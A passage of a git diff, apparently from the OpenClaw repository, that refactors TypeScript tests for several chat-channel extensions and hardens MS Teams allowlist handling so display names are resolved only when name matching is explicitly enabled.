exit: vi.fn() }; + const runtime = createRuntimeMock(); const handler = createLineNodeWebhookHandler({ channelSecret: secret, bot, @@ -71,11 +86,7 @@ async function invokeWebhook(params: { headers?: Record; onEvents?: ReturnType; autoSign?: boolean; - runtime?: { - log: ReturnType; - error: ReturnType; - exit: ReturnType; - }; + runtime?: RuntimeEnv; }) { const onEventsMock = params.onEvents ?? vi.fn(async () => {}); const middleware = createLineWebhookMiddleware({ @@ -138,7 +149,7 @@ async function invokeNodePostContract(params: { throw params.failWith; } }); - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const handler = createLineNodeWebhookHandler({ channelSecret: SECRET, bot: { handleWebhook: dispatched }, @@ -167,7 +178,7 @@ async function invokeMiddlewarePostContract(params: { rawBody: string; signed: boolean; }) { - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const onEvents = vi.fn(async () => { if (params.failWith) { throw params.failWith; @@ -182,6 +193,7 @@ async function invokeMiddlewarePostContract(params: { }); return { body: res.json.mock.calls.at(-1)?.[0], + contentType: undefined, dispatched, runtimeError: runtime.error, status: res.status.mock.calls.at(-1)?.[0], @@ -288,7 +300,7 @@ describe("LINE webhook shared POST contract", () => { describe("createLineNodeWebhookHandler", () => { it("returns 200 for GET", async () => { const bot = { handleWebhook: vi.fn(async () => {}) }; - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const handler = createLineNodeWebhookHandler({ channelSecret: "secret", bot, @@ -305,7 +317,7 @@ describe("createLineNodeWebhookHandler", () => { it("returns 204 for HEAD", async () => { const bot = { handleWebhook: vi.fn(async () => {}) }; - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const handler = createLineNodeWebhookHandler({ channelSecret: "secret", bot, @@ -333,7 +345,7 @@ describe("createLineNodeWebhookHandler", () => { it("rejects unsigned POST requests before reading the body", async () => { const bot = { handleWebhook: vi.fn(async () => {}) }; - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const readBody = vi.fn(async () => JSON.stringify({ events: [{ type: "message" }] })); const handler = createLineNodeWebhookHandler({ channelSecret: "secret", @@ -353,7 +365,7 @@ describe("createLineNodeWebhookHandler", () => { it("uses strict pre-auth limits for signed POST requests", async () => { const rawBody = JSON.stringify({ events: [{ type: "message" }] }); const bot = { handleWebhook: vi.fn(async () => {}) }; - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const readBody = vi.fn(async (_req: IncomingMessage, maxBytes: number, timeoutMs?: number) => { expect(maxBytes).toBe(64 * 1024); expect(timeoutMs).toBe(5_000); @@ -414,7 +426,7 @@ describe("createLineNodeWebhookHandler", () => { ), }; const onRequestAuthenticated = vi.fn(); - const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const runtime = createRuntimeMock(); const handler = createLineNodeWebhookHandler({ channelSecret: SECRET, bot, diff --git a/extensions/lmstudio/src/models.test.ts b/extensions/lmstudio/src/models.test.ts index d952be19c5a..2882c4da11e 100644 --- a/extensions/lmstudio/src/models.test.ts +++ b/extensions/lmstudio/src/models.test.ts @@ -378,7 +378,7 @@ describe("lmstudio-models", () => { context_length: 32768, }), }); - const loadInit = loadCall![1] as RequestInit; + const loadInit = loadCall[1] as RequestInit; const loadBody = parseJsonRequestBody(loadInit) as { context_length: number }; expect(loadBody.context_length).not.toBe(LMSTUDIO_DEFAULT_LOAD_CONTEXT_LENGTH); }); diff --git a/extensions/lmstudio/src/stream.test.ts b/extensions/lmstudio/src/stream.test.ts index 94dac48f742..4413e53acbc 100644 --- a/extensions/lmstudio/src/stream.test.ts +++ b/extensions/lmstudio/src/stream.test.ts @@ -505,7 +505,6 @@ describe("lmstudio stream wrapper", () => { "toolcall_delta", "done", ]); - expect(events.some((event) => event.type === "text_delta")).toBe(false); const done = events.find((event) => event.type === "done") as { message?: { content?: Array>; stopReason?: string }; reason?: string; diff --git a/extensions/matrix/index.test.ts b/extensions/matrix/index.test.ts index 23410ad410a..e77ca10ab63 100644 --- a/extensions/matrix/index.test.ts +++ b/extensions/matrix/index.test.ts @@ -9,6 +9,9 @@ const cliMocks = vi.hoisted(() => ({ const runtimeMocks = vi.hoisted(() => ({ ensureMatrixCryptoRuntime: vi.fn(async () => {}), + handleMatrixSubagentDeliveryTarget: vi.fn(() => "delivery-target"), + handleMatrixSubagentEnded: vi.fn(async () => {}), + handleMatrixSubagentSpawning: vi.fn(async () => "spawned"), handleVerificationBootstrap: vi.fn(async () => {}), handleVerificationStatus: vi.fn(async () => {}), handleVerifyRecoveryKey: vi.fn(async () => {}), @@ -23,6 +26,7 @@ vi.mock("./src/cli.js", () => { vi.mock("./plugin-entry.handlers.runtime.js", () => runtimeMocks); vi.mock("./runtime-setter-api.js", () => ({ setMatrixRuntime: runtimeMocks.setMatrixRuntime })); +vi.mock("./src/matrix/subagent-hooks.js", () => runtimeMocks); describe("matrix plugin", () => { it("registers matrix CLI through a descriptor-backed lazy registrar", async () => { @@ -68,7 +72,10 @@ describe("matrix plugin", () => { expect(entry.kind).toBe("bundled-channel-entry"); expect(entry.id).toBe("matrix"); expect(entry.name).toBe("Matrix"); - expect(entry.setChannelRuntime).toEqual(expect.any(Function)); + if (!entry.setChannelRuntime) { + throw new Error("expected Matrix runtime setter"); + } + expect(() => entry.setChannelRuntime?.({ marker: "runtime" } as never)).not.toThrow(); }); it("wires CLI metadata through the bundled entry", () => { @@ -99,7 +106,7 @@ describe("matrix plugin", () => { expect(registerGatewayMethod).not.toHaveBeenCalled(); }); - it("registers subagent lifecycle hooks during full runtime registration", () => { + it("registers subagent lifecycle hooks during full runtime registration", async () => { const on = vi.fn(); const registerGatewayMethod = vi.fn(); const api = createTestPluginApi({ @@ -121,8 +128,14 @@ describe("matrix plugin", () => { "subagent_ended", "subagent_delivery_target", ]); - for (const [, handler] of on.mock.calls) { - expect(handler).toEqual(expect.any(Function)); - } + const handlers = Object.fromEntries(on.mock.calls); + await expect(handlers.subagent_spawning({ id: "spawn" })).resolves.toBe("spawned"); + await expect(handlers.subagent_ended({ id: "ended" })).resolves.toBeUndefined(); + await expect(handlers.subagent_delivery_target({ id: "target" })).resolves.toBe( + "delivery-target", + ); + expect(runtimeMocks.handleMatrixSubagentSpawning).toHaveBeenCalledWith(api, { id: "spawn" }); + expect(runtimeMocks.handleMatrixSubagentEnded).toHaveBeenCalledWith({ id: "ended" }); + expect(runtimeMocks.handleMatrixSubagentDeliveryTarget).toHaveBeenCalledWith({ id: "target" }); }); }); diff --git a/extensions/matrix/src/channel.message-adapter.test.ts b/extensions/matrix/src/channel.message-adapter.test.ts index 1c03fe619f7..5e5c8156245 100644 --- a/extensions/matrix/src/channel.message-adapter.test.ts +++ b/extensions/matrix/src/channel.message-adapter.test.ts @@ -47,10 +47,12 @@ describe("matrix channel message adapter", () => { if (adapter?.send?.text === undefined || adapter.send.media === undefined) { throw new Error("expected matrix text and media message adapter"); } + const sendText = adapter.send.text; + const sendMedia = adapter.send.media; const proveText = async () => { mocks.sendMessageMatrix.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "room:!room:example", text: "hello", @@ -67,7 +69,7 @@ describe("matrix channel message adapter", () => { const proveMedia = async () => { mocks.sendMessageMatrix.mockClear(); - const result = await adapter.send.media({ + const result = await sendMedia({ cfg, to: "room:!room:example", text: "caption", @@ -91,7 +93,7 @@ describe("matrix channel message adapter", () => { const proveReplyThread = async () => { mocks.sendMessageMatrix.mockClear(); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg, to: "room:!room:example", text: "threaded", @@ -114,14 +116,14 @@ describe("matrix channel message adapter", () => { await verifyChannelMessageAdapterCapabilityProofs({ adapterName: "matrixMessageAdapter", - adapter: adapter!, + adapter: adapter, proofs: { text: proveText, media: proveMedia, replyTo: proveReplyThread, thread: proveReplyThread, messageSendingHooks: () => { - expect(adapter!.send!.text).toBeTypeOf("function"); + expect(adapter.send!.text).toBeTypeOf("function"); }, }, }); diff --git a/extensions/matrix/src/matrix/sdk.test.ts b/extensions/matrix/src/matrix/sdk.test.ts index ddfa24d0c36..693e638e2ad 100644 --- a/extensions/matrix/src/matrix/sdk.test.ts +++ b/extensions/matrix/src/matrix/sdk.test.ts @@ -292,17 +292,21 @@ describe("MatrixClient request hardening", () => { expect(fetchMock).not.toHaveBeenCalled(); }); - it("injects a guarded fetchFn into matrix-js-sdk", () => { - const client = new MatrixClient("https://matrix.example.org", "token", { - ssrfPolicy: { allowPrivateNetwork: true }, - }); + it("injects a guarded fetchFn into matrix-js-sdk", async () => { + const client = new MatrixClient("https://matrix.example.org", "token"); expect(client).toBeInstanceOf(MatrixClient); expect(lastCreateClientOpts).toMatchObject({ baseUrl: "https://matrix.example.org", accessToken: "token", }); - expect(lastCreateClientOpts?.fetchFn).toEqual(expect.any(Function)); + const fetchFn = lastCreateClientOpts?.fetchFn as typeof fetch | undefined; + if (!fetchFn) { + throw new Error("expected Matrix SDK guarded fetch"); + } + await expect(fetchFn("http://127.0.0.1/_matrix/client/v3/account/whoami")).rejects.toThrow( + /private|blocked|not allowed/i, + ); }); it("prefers authenticated client media downloads", async () => { @@ -603,7 +607,6 @@ describe("MatrixClient request hardening", () => { if (!store) { throw new Error("expected Matrix sync store"); } - expect(store.flush).toEqual(expect.any(Function)); const flushSpy = vi.spyOn(store, "flush").mockResolvedValue(); await client.stopAndPersist(); @@ -1167,11 +1170,17 @@ describe("MatrixClient event bridge", () => { }); await vi.waitFor(() => { - expect(releaseSyncReady).toEqual(expect.any(Function)); + if (!releaseSyncReady) { + throw new Error("expected Matrix sync ready release callback"); + } }); expect(resolved).toBe(false); - releaseSyncReady?.(); + const release = releaseSyncReady; + if (!release) { + throw new Error("expected Matrix sync ready release callback"); + } + release(); await startPromise; expect(resolved).toBe(true); diff --git a/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts b/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts index baa5739d464..096addda4eb 100644 --- a/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts +++ b/extensions/matrix/src/matrix/sdk/idb-persistence.test.ts @@ -79,7 +79,7 @@ describe("Matrix IndexedDB persistence", () => { expect(restoredRecords).toEqual([{ key: "room-1", value: { session: "abc123" } }]); const dbs = await indexedDB.databases(); - expect(dbs.some((entry) => entry.name === otherCryptoDatabaseName)).toBe(false); + expect(dbs.map((entry) => entry.name)).not.toContain(otherCryptoDatabaseName); }); it("returns false and logs a warning for malformed snapshots", async () => { diff --git a/extensions/mattermost/src/channel.message-adapter.test.ts b/extensions/mattermost/src/channel.message-adapter.test.ts index 813d7036f05..3eb5645537a 100644 --- a/extensions/mattermost/src/channel.message-adapter.test.ts +++ b/extensions/mattermost/src/channel.message-adapter.test.ts @@ -30,7 +30,7 @@ describe("mattermost channel message adapter", () => { const proveText = async () => { sendMessageMattermostMock.mockClear(); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg: {}, to: "channel:team-1", text: "hello", @@ -47,7 +47,7 @@ describe("mattermost channel message adapter", () => { const proveMedia = async () => { sendMessageMattermostMock.mockClear(); - const result = await adapter!.send!.media!({ + const result = await adapter.send!.media!({ cfg: {}, to: "channel:team-1", text: "caption", @@ -67,7 +67,7 @@ describe("mattermost channel message adapter", () => { const proveReplyThread = async () => { sendMessageMattermostMock.mockClear(); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg: {}, to: "channel:parent-1", text: "threaded", @@ -84,7 +84,7 @@ describe("mattermost channel message adapter", () => { const proveExplicitReply = async () => { sendMessageMattermostMock.mockClear(); - const result = await adapter!.send!.text!({ + const result = await adapter.send!.text!({ cfg: {}, to: "channel:parent-1", text: "reply", @@ -102,14 +102,14 @@ describe("mattermost channel message adapter", () => { await verifyChannelMessageAdapterCapabilityProofs({ adapterName: "mattermostMessageAdapter", - adapter: adapter!, + adapter: adapter, proofs: { text: proveText, media: proveMedia, replyTo: proveExplicitReply, thread: proveReplyThread, messageSendingHooks: () => { - expect(adapter!.send!.text).toBeTypeOf("function"); + expect(adapter.send!.text).toBeTypeOf("function"); }, }, }); diff --git a/extensions/mattermost/src/mattermost/model-picker.test.ts b/extensions/mattermost/src/mattermost/model-picker.test.ts index ecd23fb144d..9886a205fe4 100644 --- a/extensions/mattermost/src/mattermost/model-picker.test.ts +++ b/extensions/mattermost/src/mattermost/model-picker.test.ts @@ -104,7 +104,7 @@ describe("Mattermost model picker", () => { }); const ids = modelsView.buttons.flat().map((button) => button.id); - expect(ids.every((id) => typeof id === "string" && /^[a-z0-9]+$/.test(id))).toBe(true); + expect(ids.filter((id) => typeof id !== "string" || !/^[a-z0-9]+$/.test(id))).toEqual([]); expect(new Set(ids).size).toBe(ids.length); }); diff --git a/extensions/mattermost/src/mattermost/monitor-websocket.test.ts b/extensions/mattermost/src/mattermost/monitor-websocket.test.ts index 34ceeda962f..a2fcf9c80fb 100644 --- a/extensions/mattermost/src/mattermost/monitor-websocket.test.ts +++ b/extensions/mattermost/src/mattermost/monitor-websocket.test.ts @@ -172,7 +172,7 @@ describe("mattermost websocket monitor", () => { data: { token: "token" }, seq: 1, }); - expect(patches.some((patch) => patch.connected === true)).toBe(true); + expect(patches.filter((patch) => patch.connected === true)).toHaveLength(1); expect(patches.filter((patch) => patch.connected === false)).toHaveLength(2); }); diff --git a/extensions/memory-core/src/dreaming-phases.test.ts b/extensions/memory-core/src/dreaming-phases.test.ts index affc09d6b54..0d6ea669cda 100644 --- a/extensions/memory-core/src/dreaming-phases.test.ts +++ b/extensions/memory-core/src/dreaming-phases.test.ts @@ -2427,8 +2427,8 @@ describe("memory-core dreaming phases", () => { const phaseSignalStore = JSON.parse(await fs.readFile(phaseSignalPath, "utf-8")) as { entries: Record; }; - expect(phaseSignalStore.entries[liveKey!]).toMatchObject({ remHits: 1 }); - expect(phaseSignalStore.entries[staleKey!]).toBeUndefined(); + expect(phaseSignalStore.entries[liveKey]).toMatchObject({ remHits: 1 }); + expect(phaseSignalStore.entries[staleKey]).toBeUndefined(); const remOutput = await fs.readFile( path.join(workspaceDir, "memory", `${DREAMING_TEST_DAY}.md`), diff --git a/extensions/microsoft-foundry/index.test.ts b/extensions/microsoft-foundry/index.test.ts index 86961f3108a..12aa64f9f33 100644 --- a/extensions/microsoft-foundry/index.test.ts +++ b/extensions/microsoft-foundry/index.test.ts @@ -331,7 +331,7 @@ describe("microsoft-foundry plugin", () => { provider.prepareRuntimeAuth?.(runtimeContext), provider.prepareRuntimeAuth?.(runtimeContext), ]); - expect(failed.every((result) => result.status === "rejected")).toBe(true); + expect(failed.filter((result) => result.status !== "rejected")).toEqual([]); expect(execFileMock).toHaveBeenCalledTimes(1); const [first, second] = await Promise.all([ diff --git a/extensions/microsoft/tts.test.ts b/extensions/microsoft/tts.test.ts index ea27de79d1c..d1ef605d3fd 100644 --- a/extensions/microsoft/tts.test.ts +++ b/extensions/microsoft/tts.test.ts @@ -111,7 +111,8 @@ describe("edgeTTS empty audio validation", () => { ), ).resolves.toBeUndefined(); expect(stagedPath).not.toBe(outputPath); - expect(path.basename(stagedPath)).toBe(path.basename(outputPath)); + expect(path.basename(stagedPath)).toContain(path.basename(outputPath)); + expect(path.basename(stagedPath)).toMatch(/\.part$/); expect(readFileSync(outputPath)).toEqual(Buffer.from([0xff, 0xfb, 0x90, 0x00])); expect(existsSync(stagedPath)).toBe(false); }); diff --git a/extensions/msteams/src/attachments.graph.test.ts b/extensions/msteams/src/attachments.graph.test.ts index 608aa970ded..5ff1b2b0979 100644 --- a/extensions/msteams/src/attachments.graph.test.ts +++ b/extensions/msteams/src/attachments.graph.test.ts @@ -313,7 +313,12 @@ describe("msteams graph attachments", () => { expectAttachmentMediaLength(media.media, 0); const calledUrls = fetchMock.mock.calls.map((call) => call[0]); - expect(calledUrls.some((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toBe(true); + expect(calledUrls).toEqual([ + DEFAULT_MESSAGE_URL, + expect.stringContaining(GRAPH_SHARES_URL_PREFIX), + `${DEFAULT_MESSAGE_URL}/hostedContents`, + expect.stringContaining(GRAPH_SHARES_URL_PREFIX), + ]); expect(calledUrls).not.toContain(escapedUrl); }); diff --git a/extensions/msteams/src/attachments.test.ts b/extensions/msteams/src/attachments.test.ts index 023821e17aa..66ace547990 100644 --- a/extensions/msteams/src/attachments.test.ts +++ b/extensions/msteams/src/attachments.test.ts @@ -638,8 +638,8 @@ describe("msteams attachments", () => { return resolveRequestUrl(input); }); // Should have hit the original host, NOT graph shares. - expect(calledUrls.some((url) => url === directUrl)).toBe(true); - expect(calledUrls.some((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toBe(false); + expect(calledUrls).toContain(directUrl); + expect(calledUrls.filter((url) => url.startsWith(GRAPH_SHARES_URL_PREFIX))).toEqual([]); }); }); diff --git a/extensions/msteams/src/channel.message-adapter.test.ts b/extensions/msteams/src/channel.message-adapter.test.ts index 84b2b4247eb..9c29f545488 100644 --- a/extensions/msteams/src/channel.message-adapter.test.ts +++ b/extensions/msteams/src/channel.message-adapter.test.ts @@ -54,12 +54,14 @@ describe("msteams channel message adapter", () => { if (!adapter?.send?.text || !adapter.send.media) { throw new Error("expected msteams channel message adapter with text and media senders"); } + const sendText = adapter.send.text; + const sendMedia = adapter.send.media; expect(adapter.durableFinal?.capabilities?.replyTo).toBeUndefined(); expect(adapter.durableFinal?.capabilities?.thread).toBeUndefined(); const proveText = async () => { mocks.sendText.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "conversation:abc", text: "hello", @@ -79,7 +81,7 @@ describe("msteams channel message adapter", () => { const proveMedia = async () => { mocks.sendMedia.mockClear(); - const result = await adapter.send.media({ + const result = await sendMedia({ cfg, to: "conversation:abc", text: "photo", @@ -107,7 +109,7 @@ describe("msteams channel message adapter", () => { text: proveText, media: proveMedia, messageSendingHooks: () => { - expect(adapter.send.text).toBeTypeOf("function"); + expect(sendText).toBeTypeOf("function"); }, }, }); diff --git a/extensions/msteams/src/monitor.lifecycle.test.ts b/extensions/msteams/src/monitor.lifecycle.test.ts index f9d9bf4e917..11d4f6ef412 100644 --- a/extensions/msteams/src/monitor.lifecycle.test.ts +++ b/extensions/msteams/src/monitor.lifecycle.test.ts @@ -3,6 +3,7 @@ import type { Request, Response } from "express"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig, RuntimeEnv } from "../runtime-api.js"; import type { MSTeamsConversationStore } from "./conversation-store.js"; +import type { MSTeamsActivityHandler, MSTeamsMessageHandlerDeps } from "./monitor-handler.js"; import type { MSTeamsPollStore } from "./polls.js"; type FakeServer = EventEmitter & { @@ -12,6 +13,34 @@ type FakeServer = EventEmitter & { headersTimeout: number; }; +type MSTeamsChannelResolution = { + input: string; + resolved: boolean; + teamId?: string; + channelId?: string; +}; + +type MSTeamsUserResolution = { + input: string; + resolved: boolean; + id?: string; +}; + +type ResolveMSTeamsChannelAllowlistMock = (params: { + cfg: unknown; + entries: string[]; +}) => Promise; + +type ResolveMSTeamsUserAllowlistMock = (params: { + cfg: unknown; + entries: string[]; +}) => Promise; + +type RegisterMSTeamsHandlersMock = ( + handler: MSTeamsActivityHandler, + deps: MSTeamsMessageHandlerDeps, +) => MSTeamsActivityHandler; + const expressControl = vi.hoisted(() => ({ mode: { value: "listening" as "listening" | "error" }, apps: [] as Array<{ @@ -21,8 +50,11 @@ const expressControl = vi.hoisted(() => ({ }>, })); +const isDangerousNameMatchingEnabled = vi.hoisted(() => vi.fn()); + vi.mock("../runtime-api.js", () => ({ DEFAULT_WEBHOOK_MAX_BODY_BYTES: 1024 * 1024, + isDangerousNameMatchingEnabled, normalizeSecretInputString: (value: unknown) => typeof value === "string" && value.trim() ? value.trim() : undefined, hasConfiguredSecretInput: (value: unknown) => @@ -91,9 +123,7 @@ vi.mock("express", () => { }); const registerMSTeamsHandlers = vi.hoisted(() => - vi.fn(() => ({ - run: vi.fn(async () => {}), - })), + vi.fn((handler) => handler), ); const createMSTeamsAdapter = vi.hoisted(() => vi.fn(() => ({ @@ -115,12 +145,17 @@ const loadMSTeamsSdkWithAuth = vi.hoisted(() => ); vi.mock("./monitor-handler.js", () => ({ - registerMSTeamsHandlers: () => registerMSTeamsHandlers(), + registerMSTeamsHandlers, +})); + +const resolveAllowlistMocks = vi.hoisted(() => ({ + resolveMSTeamsChannelAllowlist: vi.fn(async () => []), + resolveMSTeamsUserAllowlist: vi.fn(async () => []), })); vi.mock("./resolve-allowlist.js", () => ({ - resolveMSTeamsChannelAllowlist: vi.fn(async () => []), - resolveMSTeamsUserAllowlist: vi.fn(async () => []), + resolveMSTeamsChannelAllowlist: resolveAllowlistMocks.resolveMSTeamsChannelAllowlist, + resolveMSTeamsUserAllowlist: resolveAllowlistMocks.resolveMSTeamsUserAllowlist, })); vi.mock("./sdk.js", () => ({ @@ -187,11 +222,24 @@ function createStores() { }; } +function requireRegisteredMSTeamsConfig(): OpenClawConfig { + const registered = registerMSTeamsHandlers.mock.calls[0]?.[1] as + | { cfg?: OpenClawConfig } + | undefined; + if (!registered?.cfg) { + throw new Error("expected registered MSTeams handler config"); + } + return registered.cfg; +} + describe("monitorMSTeamsProvider lifecycle", () => { afterEach(() => { vi.clearAllMocks(); expressControl.mode.value = "listening"; expressControl.apps.length = 0; + isDangerousNameMatchingEnabled.mockReset().mockReturnValue(false); + resolveAllowlistMocks.resolveMSTeamsChannelAllowlist.mockReset().mockResolvedValue([]); + resolveAllowlistMocks.resolveMSTeamsUserAllowlist.mockReset().mockResolvedValue([]); jwtValidate.mockReset().mockResolvedValue(true); }); @@ -250,7 +298,9 @@ describe("monitorMSTeamsProvider lifecycle", () => { expect(app.use).toHaveBeenCalledTimes(4); const jsonMiddleware = vi.mocked((await import("express")).json).mock.results[0]?.value; - expect(jsonMiddleware).toEqual(expect.any(Function)); + if (typeof jsonMiddleware !== "function") { + throw new Error("expected Express JSON middleware"); + } expect(app.use.mock.calls[1]?.[0]).not.toBe(jsonMiddleware); expect(app.use.mock.calls[2]?.[0]).toBe(jsonMiddleware); @@ -277,4 +327,106 @@ describe("monitorMSTeamsProvider lifecycle", () => { abort.abort(); await task; }); + + it("does not resolve user allowlists by display name unless name matching is enabled", async () => { + const abort = new AbortController(); + const cfg = createConfig(0); + cfg.channels!.msteams = { + ...cfg.channels!.msteams!, + allowFrom: ["Alice", "user:40a1a0ed-4ff2-4164-a219-55518990c197"], + groupAllowFrom: ["Bob", "msteams:user:50a1a0ed-4ff2-4164-a219-55518990c198"], + teams: { + Product: { + channels: { + Roadmap: {}, + }, + }, + }, + }; + resolveAllowlistMocks.resolveMSTeamsChannelAllowlist.mockResolvedValueOnce([ + { + input: "Product/Roadmap", + resolved: true, + teamId: "team-id", + channelId: "channel-id", + }, + ]); + + const task = monitorMSTeamsProvider({ + cfg, + runtime: createRuntime(), + abortSignal: abort.signal, + conversationStore: createStores().conversationStore, + pollStore: createStores().pollStore, + }); + + await vi.waitFor(() => { + expect(registerMSTeamsHandlers).toHaveBeenCalled(); + }); + + expect(resolveAllowlistMocks.resolveMSTeamsUserAllowlist).not.toHaveBeenCalled(); + expect(resolveAllowlistMocks.resolveMSTeamsChannelAllowlist).toHaveBeenCalledWith({ + cfg, + entries: ["Product/Roadmap"], + }); + + const registeredCfg = requireRegisteredMSTeamsConfig(); + expect(registeredCfg.channels?.msteams?.allowFrom).toEqual([ + "Alice", + "user:40a1a0ed-4ff2-4164-a219-55518990c197", + "40a1a0ed-4ff2-4164-a219-55518990c197", + ]); + expect(registeredCfg.channels?.msteams?.groupAllowFrom).toEqual([ + "Bob", + "msteams:user:50a1a0ed-4ff2-4164-a219-55518990c198", + "50a1a0ed-4ff2-4164-a219-55518990c198", + ]); + + abort.abort(); + await task; + }); + + it("resolves user allowlists when name matching is enabled", async () => { + isDangerousNameMatchingEnabled.mockReturnValue(true); + resolveAllowlistMocks.resolveMSTeamsUserAllowlist + .mockResolvedValueOnce([{ input: "Alice", resolved: true, id: "alice-aad" }]) + .mockResolvedValueOnce([{ input: "Bob", resolved: true, id: "bob-aad" }]); + + const abort = new AbortController(); + const cfg = createConfig(0); + cfg.channels!.msteams = { + ...cfg.channels!.msteams!, + dangerouslyAllowNameMatching: true, + allowFrom: ["Alice"], + groupAllowFrom: ["Bob"], + }; + + const task = monitorMSTeamsProvider({ + cfg, + runtime: createRuntime(), + abortSignal: abort.signal, + conversationStore: createStores().conversationStore, + pollStore: createStores().pollStore, + }); + + await vi.waitFor(() => { + expect(registerMSTeamsHandlers).toHaveBeenCalled(); + }); + + expect(resolveAllowlistMocks.resolveMSTeamsUserAllowlist).toHaveBeenNthCalledWith(1, { + cfg, + entries: ["Alice"], + }); + expect(resolveAllowlistMocks.resolveMSTeamsUserAllowlist).toHaveBeenNthCalledWith(2, { + cfg, + entries: ["Bob"], + }); + + const registeredCfg = requireRegisteredMSTeamsConfig(); + expect(registeredCfg.channels?.msteams?.allowFrom).toEqual(["Alice", "alice-aad"]); + expect(registeredCfg.channels?.msteams?.groupAllowFrom).toEqual(["Bob", "bob-aad"]); + + abort.abort(); + await task; + }); }); diff --git a/extensions/msteams/src/monitor.ts b/extensions/msteams/src/monitor.ts index 6c1c5ceb9e7..a2ecb2aa665 100644 --- a/extensions/msteams/src/monitor.ts +++ b/extensions/msteams/src/monitor.ts @@ -1,6 +1,7 @@ import type { Request, Response } from "express"; import { DEFAULT_WEBHOOK_MAX_BODY_BYTES, + isDangerousNameMatchingEnabled, keepHttpServerTaskAlive, mergeAllowlist, summarizeMapping, @@ -73,12 +74,20 @@ export async function monitorMSTeamsProvider( let allowFrom = msteamsCfg.allowFrom; let groupAllowFrom = msteamsCfg.groupAllowFrom; let teamsConfig = msteamsCfg.teams; + const allowNameMatching = isDangerousNameMatchingEnabled(msteamsCfg); const cleanAllowEntry = (entry: string) => entry .replace(/^(msteams|teams):/i, "") .replace(/^user:/i, "") .trim(); + const isStableUserId = (entry: string) => /^[0-9a-fA-F-]{16,}$/.test(entry); + const cleanAllowEntries = (entries?: string[]) => + entries?.map((entry) => cleanAllowEntry(entry)).filter((entry) => entry && entry !== "*") ?? []; + const mergeStableUserIds = (entries?: string[]) => { + const additions = cleanAllowEntries(entries).filter((entry) => isStableUserId(entry)); + return additions.length > 0 ? mergeAllowlist({ existing: entries, additions }) : entries; + }; const resolveAllowlistUsers = async (label: string, entries: string[]) => { if (entries.length === 0) { @@ -102,21 +111,26 @@ export async function monitorMSTeamsProvider( }; try { - const allowEntries = - allowFrom?.map((entry) => cleanAllowEntry(entry)).filter((entry) => entry && entry !== "*") ?? - []; - if (allowEntries.length > 0) { - const { additions } = await resolveAllowlistUsers("msteams users", allowEntries); - allowFrom = mergeAllowlist({ existing: allowFrom, additions }); + allowFrom = mergeStableUserIds(allowFrom); + if (Array.isArray(groupAllowFrom) && groupAllowFrom.length > 0) { + groupAllowFrom = mergeStableUserIds(groupAllowFrom); } - if (Array.isArray(groupAllowFrom) && groupAllowFrom.length > 0) { - const groupEntries = groupAllowFrom - .map((entry) => cleanAllowEntry(entry)) - .filter((entry) => entry && entry !== "*"); - if (groupEntries.length > 0) { - const { additions } = await resolveAllowlistUsers("msteams group users", groupEntries); - groupAllowFrom = mergeAllowlist({ existing: groupAllowFrom, additions }); + if (allowNameMatching) { + const allowEntries = cleanAllowEntries(allowFrom).filter((entry) => !isStableUserId(entry)); + if (allowEntries.length > 0) { + const { additions } = await resolveAllowlistUsers("msteams users", allowEntries); + allowFrom = mergeAllowlist({ existing: allowFrom, additions }); + } + + if (Array.isArray(groupAllowFrom) && groupAllowFrom.length > 0) { + const groupEntries = cleanAllowEntries(groupAllowFrom).filter( + (entry) => !isStableUserId(entry), + ); + if (groupEntries.length > 0) { + const { additions } = await resolveAllowlistUsers("msteams group users", groupEntries); + groupAllowFrom = mergeAllowlist({ existing: groupAllowFrom, additions }); + } } } diff --git a/extensions/msteams/src/sdk.test.ts b/extensions/msteams/src/sdk.test.ts index 913aa9c876d..484dffb116b 100644 --- a/extensions/msteams/src/sdk.test.ts +++ b/extensions/msteams/src/sdk.test.ts @@ -472,7 +472,7 @@ describe("createMSTeamsApp – federated certificate credentials", () => { clientId: "fed-app-id", tenantId: "fed-tenant", }); - const tokenProvider = appInstances[0].token; + const tokenProvider = appInstances[0].token as ((scope: string) => Promise) | undefined; if (!tokenProvider) { throw new Error("expected federated app to expose token provider"); } @@ -521,7 +521,7 @@ describe("createMSTeamsApp – federated managed identity", () => { }; await createMSTeamsApp(creds, sdk); expect(appInstances[0]).toMatchObject({ clientId: "mi-app-id", tenantId: "mi-tenant" }); - const tokenProvider = appInstances[0].token; + const tokenProvider = appInstances[0].token as ((scope: string) => Promise) | undefined; if (!tokenProvider) { throw new Error("expected managed-identity app to expose token provider"); } @@ -538,7 +538,7 @@ describe("createMSTeamsApp – federated managed identity", () => { useManagedIdentity: true, }; await createMSTeamsApp(creds, sdk); - const tokenProvider = appInstances[0].token; + const tokenProvider = appInstances[0].token as ((scope: string) => Promise) | undefined; if (!tokenProvider) { throw new Error("expected managed-identity app to expose token provider"); } diff --git a/extensions/nostr/src/channel.outbound.test.ts b/extensions/nostr/src/channel.outbound.test.ts index 969622439b0..d4f6bd96c4f 100644 --- a/extensions/nostr/src/channel.outbound.test.ts +++ b/extensions/nostr/src/channel.outbound.test.ts @@ -135,6 +135,7 @@ describe("nostr outbound cfg threading", () => { if (!adapter?.send?.text) { throw new Error("expected Nostr message adapter with text sender"); } + const sendText = adapter.send.text; 